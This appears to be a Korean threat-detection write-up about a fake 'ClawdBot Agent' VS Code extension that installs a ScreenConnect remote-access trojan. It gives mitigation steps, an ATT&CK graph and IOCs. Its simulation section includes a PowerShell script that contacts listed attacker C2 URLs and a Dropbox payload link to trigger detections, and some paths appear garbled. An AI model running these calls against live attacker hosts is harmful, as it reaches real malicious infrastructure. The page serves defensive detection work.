가짜 ClowdBot VS Code 확장 기능이 ScreenConnect RAT을(를) 드롭합니다
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
악성 Visual Studio Code 확장 프로그램인 ClawdBot Agent 는 AI 코딩 도우미로 위장하고 있지만, VS Code가 실행될 때 Windows에 무기화된 ScreenConnect 원격 액세스 도구를 은밀하게 설치합니다. 시작 시 확장 프로그램은 공격자 제어 도메인에서 구성 파일을 가져온 후, 가짜 VS Code 바이너리(Code.exe)와 지원 DLL을 다운로드하고 실행합니다. 추가 전송 경로로 Dropbox 링크에서 동일한 설치 프로그램을 가져와 페이로드의 가용성을 유지할 수 있습니다. 이 캠페인은 신뢰받는 IT 지원 도구를 남용하여 합법적인 원격 관리 활동으로 위장하고 의심을 줄입니다.
조사
연구자들은 확장 프로그램의 package.json을 획득하고, VS Code 시작 시 활성화를 확인했으며, 악성 구성 요소를 열거하는 원격 JSON 구성을 검색했습니다. 바이너리 분석을 통해 맞춤 중계 서버로 신호를 보내는 서명된 ScreenConnect 모듈을 발견했습니다. JavaScript와 PowerShell에서 추가 예비 논리를 발견했으며, 2차 도메인과 Dropbox에 호스팅된 페이로드를 참조했습니다. 디스크 상 아티팩트가 %TEMP%Lightshot 폴더에 관찰되었습니다.
완화
VS Code에서 ClawdBot Agent 확장을 제거하고 ScreenConnect 설치 위치 및 %TEMP%Lightshot 디렉토리에 남아있는 파일을 삭제하십시오. ScreenConnect 클라이언트 서비스를 제거하고 식별된 중계 도메인 및 IP에 대한 아웃바운드 연결을 차단하십시오. 확장 프로그램에 입력했을 수 있는 API 키나 비밀을 변경하십시오.
대응
VS Code 확장 설치와 Lightshot 디렉토리 생성 모니터링으로 악성 확장을 탐지하십시오. 비표준 경로에서 Code.exe 또는 ScreenConnect 바이너리 실행과 meeting.bulletmailer.net:8041 또는 연관된 IP 주소에 대한 아웃바운드 연결에 알림을 설정하십시오. 호스트 포렌식을 수행하여 지속성 제거를 확인하고 추가 페이로드를 식별하십시오.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffe599 classDef server fill:#c2f0c2 classDef process fill:#d9d9d9 %% Technique nodes tech_software_ext[“<b>기술</b> – <b>T1176 소프트웨어 확장</b><br/>공격자는 확장을 악용해 코드 실행, 지속성 유지, 데이터 탈취를 수행한다.”] class tech_software_ext action tech_ide_ext[“<b>기술</b> – <b>T1176.002 IDE 확장</b><br/>IDE 확장을 이용한 악성 코드 실행.”] class tech_ide_ext action tech_user_exec[“<b>기술</b> – <b>T1204.002 사용자 실행: 악성 파일</b><br/>사용자가 악성 파일을 실행함.”] class tech_user_exec action tech_app_layer[“<b>기술</b> – <b>T1071.001 애플리케이션 계층 프로토콜: 웹</b><br/>HTTP/HTTPS 기반 C2 통신.”] class tech_app_layer action tech_fallback[“<b>기술</b> – <b>T1008 폴백 채널</b><br/>대체 통신 경로 사용.”] class tech_fallback action tech_powershell[“<b>기술</b> – <b>T1059.001 PowerShell</b><br/>명령 실행 및 파일 다운로드.”] class tech_powershell action tech_rat[“<b>기술</b> – <b>T1219 원격 접근 도구</b><br/>침해된 시스템 원격 제어.”] class tech_rat action tech_dll_inject[“<b>기술</b> – <b>T1055.001 DLL 인젝션</b><br/>실행 중인 프로세스에 DLL 주입.”] class tech_dll_inject action tech_appcert[“<b>기술</b> – <b>T1546.009 AppCert DLL</b><br/>AppCert 등록을 통한 DLL 로드.”] class tech_appcert action tech_appinit[“<b>기술</b> – <b>T1546.010 AppInit DLL</b><br/>시스템 시작 시 DLL 로드.”] class tech_appinit action %% Artifact nodes ext_clawdbot[“<b>도구</b> – ClawdBot Agent VS Code 확장”] class ext_clawdbot tool activation_event[“<b>파일</b> – activationEvents \”onStartupFinished\””] class activation_event file init_core[“<b>동작</b> – VS Code 시작 시 initCore()”] class init_core action c2_domain[“<b>서버</b> – clawdbot.getintwopc.site”] class c2_domain server fallback_urls[“<b>서버</b> – 하드코딩된 폴백 URL”] class fallback_urls server ps_script[“<b>스크립트</b> – PowerShell 스크립트”] class ps_script file lightshot[“<b>파일</b> – Lightshot.exe / Lightshot.dll”] class lightshot file darkgpt[“<b>서버</b> – darkgptprivate.com”] class darkgpt server code_exe[“<b>멀웨어</b> – Code.exe”] class code_exe file relay_server[“<b>서버</b> – meeting.bulletmailer.net:8041”] class relay_server server dwrite_dll[“<b>파일</b> – 악성 DWrite.dll”] class dwrite_dll file screenconnect_proc[“<b>프로세스</b> – ScreenConnect”] class screenconnect_proc process %% Connections ext_clawdbot –>|사용| tech_software_ext ext_clawdbot –>|사용| tech_ide_ext ext_clawdbot –>|정의| activation_event activation_event –>|트리거| init_core init_core –>|구성 수신| c2_domain c2_domain –>|제공| tech_app_layer init_core –>|폴백 사용| fallback_urls fallback_urls –>|전달| ps_script ps_script –>|실행| tech_powershell tech_powershell –>|다운로드| lightshot lightshot –>|실행| tech_user_exec lightshot –>|전달| code_exe code_exe –>|사용| tech_rat code_exe –>|연결| relay_server relay_server –>|활성화| tech_app_layer code_exe –>|로드| dwrite_dll dwrite_dll –>|등록| tech_appcert dwrite_dll –>|등록| tech_appinit dwrite_dll –>|주입| tech_dll_inject tech_dll_inject –>|대상| screenconnect_proc screenconnect_proc –>|실행| dwrite_dll tech_fallback –>|적용| fallback_urls
공격 흐름
탐지
대체 원격 액세스 / 관리 소프트웨어 (프로세스 생성 기준)
보기
PowerShell을 통한 다운로드 또는 업로드(cmdline 기준)
보기
대체 원격 액세스 / 관리 소프트웨어 (감사 기준)
보기
대체 원격 액세스 / 관리 소프트웨어 (시스템 기준)
보기
IOCs (DestinationIP) 탐지: 가짜 Clawdbot VS Code 확장 프로그램 설치 ScreenConnect RAT
보기
IOCs (SourceIP) 탐지: 가짜 Clawdbot VS Code 확장 프로그램 설치 ScreenConnect RAT
보기
IOCs (HashSha256) 탐지: 가짜 Clawdbot VS Code 확장 프로그램 설치 ScreenConnect RAT
보기
IOCs (이메일) 탐지: 가짜 Clawdbot VS Code 확장 프로그램 설치 ScreenConnect RAT
보기
가짜 Clawdbot VS Code 확장 프로그램 설치 ScreenConnect RAT [Windows 프로세스 생성]
보기
가짜 Clawdbot VS Code 확장 프로그램 설치 ScreenConnect RAT 감지 [Windows 네트워크 연결]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 및 베이스라인 사전 비행 점검이 통과해야 합니다.
공격 서사 및 명령어
- 공격자가 트로이 목마화된 VS Code 확장 프로그램을 게시합니다 “Clawdbot Helper”라는 제목으로.
-
피해자가 확장 프로그램을 설치합니다 VS Code 마켓플레이스를 통해, 이는
설치 후스크립트를 실행하여 ScreenConnect 클라이언트 (ScreenConnect.Client.exe)를%APPDATA%ScreenConnect. - 에 조용히 드롭합니다, 설치 직후 클라이언트는 공격자가 제어하는 C2 도메인으로 3개의 아웃바운드 TCP 연결을 초기화하여 추가 페이로드를 검색하고 호스트 상태를 보고합니다.
-
아웃바운드 연결은 Sysmon Event ID 3 레코드를 생성하여
목적 IP목록과 일치하여 탐지 규칙을 만족합니다.
회귀 테스트 스크립트
# --------------------------------------------------------------
# 시뮬레이션된 악성 VS Code 확장 프로그램 설치 후 루틴
# --------------------------------------------------------------
# Step 1 – 더미 ScreenConnect 바이너리 드롭하기 (시뮬레이션)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# 무해한 자리 표시자 바이너리 생성 (예: notepad.exe 복사본)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force
# Step 2 – 각 C2 호스트로 아웃바운드 연결 실행
$c2Hosts = @(
"http://meeting.bulletmailer.net/collect",
"http://clawdbot.getintwopc.site/payload",
"https://www.dropbox.com/s/evilpayload.exe"
)
foreach ($url in $c2Hosts) {
try {
# 무소음 웹 요청; -UseBasicParsing는 UI 프롬프트를 방지합니다
Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
Write-Host "Contacted $url"
} catch {
Write-Host "Failed to contact $url (expected in a sandbox)."
}
}
# 스크립트 종료 – 이 시점에서 Sysmon은 세 개의
# NetworkConnect 이벤트를 기록해야 하며, DestinationIp 값이 규칙과 일치합니다.
정리 명령어
# --------------------------------------------------------------
# 시뮬레이션된 아티팩트 제거
# --------------------------------------------------------------
# 남아 있는 PowerShell 작업 중지(이 간단한 스크립트에는 없음)
Get-Job | Remove-Job -Force
# 더미 ScreenConnect 클라이언트 폴더 삭제
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force
# 선택적으로 Sysmon 버퍼 지우기 (관리자 필요)
# sysmon -c